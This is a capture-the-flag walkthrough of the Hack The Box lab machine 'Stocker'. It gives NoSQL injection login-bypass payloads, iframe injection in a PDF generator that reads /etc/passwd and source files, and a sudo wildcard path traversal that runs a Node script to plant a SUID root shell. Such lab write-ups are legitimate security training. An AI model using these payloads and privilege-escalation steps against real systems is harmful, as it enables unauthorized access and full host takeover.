HTB: STOCKER

Sean Gray
8 min readJun 24, 2023

--

Did someone say vulnerable online store?! Time to log in and stock up!

This is my write-up for the Easy Hack the Box machine “Stocker”. Topics covered in this article are: NoSQL injection, XSS, LFI and Linux privesc. Enjoy!

Recon

Running our nmap scan we can see that the machine has got ssh open on port 22 and an nginx webserver on port 80.

└─$ nmap -sV -T4 -A -p- 10.10.11.196
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 22:30 EDT
Nmap scan report for stocker.htb (10.10.11.196)
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds

Browsing to the website we get redirected to http://stocker.htb. I check the page out and try to see if it has some kind of functionality that I can possibly abuse, but no such luck.

http://stocker.htb

By using wfuzz to do vhost brute-forcing, we learn about another vhost http://dev.stocker.htb

└─$ wfuzz -c -w /home/sean/Desktop/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.stocker.htb" --hc=301 http://stocker.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://stocker.htb/
Total requests: 19966

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000019: 302 0 L 4 W 28 Ch "dev"

Browsing to the dev site we run into a login portal:

http://dev.stocker.htb/login

There has to be a way to by-pass this login portal.

I start examining the technology that is powering the site using Wappalyzer.

Okay, so it’s running Express…

As we can see, it’s using Express, which is a NodeJS application that typically uses MongoDB as the backend. We might need to do some NoSQL injection to get around the login portal.

Hacktricks has got a pretty nice list of NoSQL injection payloads that we can choose from. The request we are sending from the login form is a POST request. I want to try some of Hacktrick’s Basic authentication bypass payloads, but they are divided into two sections, ones that are meant to be sent in with a GET request as part of the URL and in JSON.

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

Since we’re sending in a POST request I opt to go with the JSON payloads. This means I have to switch the Content-Type header over to application/JSON. I choose to go with this payload:

{"username": {"$ne": null}, "password": {"$ne": null} }
Holy smokes! It worked!

When I fire it off, I’m surprised to see that we get redirected to /stock, as opposed to /login?error=login-error which is what you get when you provide incorrect credentials. Okay, cool! We’re in.

What to buy, what to buy…

Once inside we are greeted with an odd site. We’re being offered a choice, purchase a cup, a bin, an axe or toilet paper…. I’ll go ahead and add the axe to my cart, after all I’m a “hacker”, right? (^_^) Anyway, after adding the item we can view our cart and then we’ll be offered a chance to “Submit Purchase”.

Uhh… how many dollars is that?

I go ahead and submit my purchase, proxying traffic through Burp as I do so. We can see that this is going to trigger a POST request to /api/order and it’s going to send a JSON object, in my case, that looks like this:

{"basket":[{"_id":"638f116eeb060210cbd83a91","title":"Axe","description":"It's an axe.","image":"axe.jpg","price":12,"currentStock":21,"__v":0,"amount":1}]}

After forwarding this we get a new window:

Hey look! A link!

If we follow the here link, we’ll be redirected to a URL /api/po/<some_random_md5hash>
Here we’ll see a PDF receipt of our purchase:

I still don’t know how many dollars this costed…

It looks like it might be using our JSON from the POST request we sent in to create this PDF. If that’s the case we may be able to do some injections. First things first, we need to determine if we can control some text that gets displayed in this PDF. So, I go back and add my axe back to my cart, submit the purchase an change the item name in the data JSON like so:

{"basket":[{"_id":"638f116eeb060210cbd83a91","title":"1337","description":"It's an axe.","image":"axe.jpg","price":12,"currentStock":21,"__v":0,"amount":1}]}

When I view the receipt I see that I’ve succeeded.

We can inject stuff! Let’s see how far we can go with this!

Okay, we can control the name of the item and get it reflected back to us. What we really want to do is get either code execution and get a shell, or get the ability to read files.

After trying out a few different payloads I hit on a good one that can give us LFI:

<iframe src=file:///etc/passwd height=1000px width=800px></iframe>

When this payload is entered as the name value in the JSON we send in to the web server we get the following back:

Gotta love /etc/passwd ❤

So this is a form a cross-site scripting. In our case, by modifying the name of the item in the JSON request to include an HTML iframe tag with a file URL pointing to /etc/passwd, we are able to get it to display the contents of the /etc/passwd file.

This is because when the server generates the PDF document, it reflects the item’s name without properly sanitizing the input. As a result, the injected iframe tag is interpreted and rendered within the PDF, causing it to load the contents of the /etc/passwdfile.

Pretty neat, huh? From this file we learn that there is a user named angoose on the system. At first I try to go after his /home/.ssh/id_rsa file and read his /.bash_history but this gets me nowhere. Then I remember, the thing is running on Node.JS. This means there’s probably a file called app.js or index.js somewhere which probably contains some important information. Let’s try to read it! So I modify my payload to go after this file, here is the payload that ends up working for me:

<iframe src=file:///var/www/dev/index.js height=1000px width=800px></iframe>

This payload will return the following file:

const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(
session({
secret: randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: true,
store: MongoStore.create({
mongoUrl: dbURI,
}),
})
);
app.use("/static", express.static(__dirname + "/assets"));
app.get("/", (req, res) => {
return res.redirect("/login");
});
app.get("/api/products", async (req, res) => {
if (!req.session.user) return res.json([]);
const products = await mongoose.model("Product").find();
return res.json(products);
});
app.get("/login", (req, res) => {
if (req.session.user) return res.redirect("/stock");
return res.sendFile(__dirname + "/templates/login.html");
});
app.post("/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) return res.redirect("/login?error=login-error");
// TODO: Implement hashing
const user = await mongoose.model("User").findOne({ username, password });
if (!user) return res.redirect("/login?error=login-error");
req.session.user = user.id;
console.log(req.session);
return res.redirect("/stock");
});
app.post("/api/order", async (req, res) => {
if (!req.session.user) return res.json({});

Here we can see that we’ve got the credentials for the mongodb database:

dev:IHeardPassphrasesArePrettySecure

Perhaps our user’s password is the same? Password reuse is a real thing after all.

└─$ ssh angoose@10.10.11.196       
angoose@10.10.11.196's password:
angoose@stocker:~$ whoami
angoose
angoose@stocker:~$

Yup, it sure is! We’re able to ssh in.

Privesc

The path to root is pretty straight-forward in this box. All we have to do is run the sudo -l command and we’ll see what we need to do:

angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js

We can’t write files in the /usr/local/script directory, so we’re out of luck right? Nope! You see, since there is a wildcard * present in the path to the .js script that we can execute as root, we can effectively high-jack the path with a series of ../../ to take us back to any directory we choose and then execute a .js script there.

I’ll just whip up a .js script that will copy the binary /usr/bin/bashto /tmp/shell and flip the SUID bit on it. This means we’ll be able to run commands as root if we use the -p flag.

angoose@stocker:~$ cat shell.js
const { exec } = require('child_process');

// Copy /usr/bin/bash to /tmp/shell
exec('cp /usr/bin/bash /tmp/shell', (error, stdout, stderr) => {
if (error) {
console.error(`Error copying file: ${error}`);
return;
}

// Set the setuid bit on /tmp/shell
exec('chmod +s /tmp/shell', (error, stdout, stderr) => {
if (error) {
console.error(`Error changing permissions: ${error}`);
return;
}

console.log('Script executed successfully.');
});
});

We run it like this, specifying the path like so:

angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/shell.js
Script executed successfully.

This will result in a binary called shell getting created in the /tmp directory. We can just run it with the -p option to jump into a root shell.

angoose@stocker:~$ ls -la /tmp
total 1216
drwxrwxrwt 15 root root 4096 Jun 23 03:59 .
drwxr-xr-x 20 root root 4096 Dec 23 16:58 ..
-rwsr-sr-x 1 root root 1183448 Jun 23 03:59 shell
angoose@stocker:~$ /tmp/shell -p
shell-5.0# whoami
root

Well that was fun! Now that we’ve ransacked that webstore we can head home and call it a day. (^_^)

See ya next time!

--

--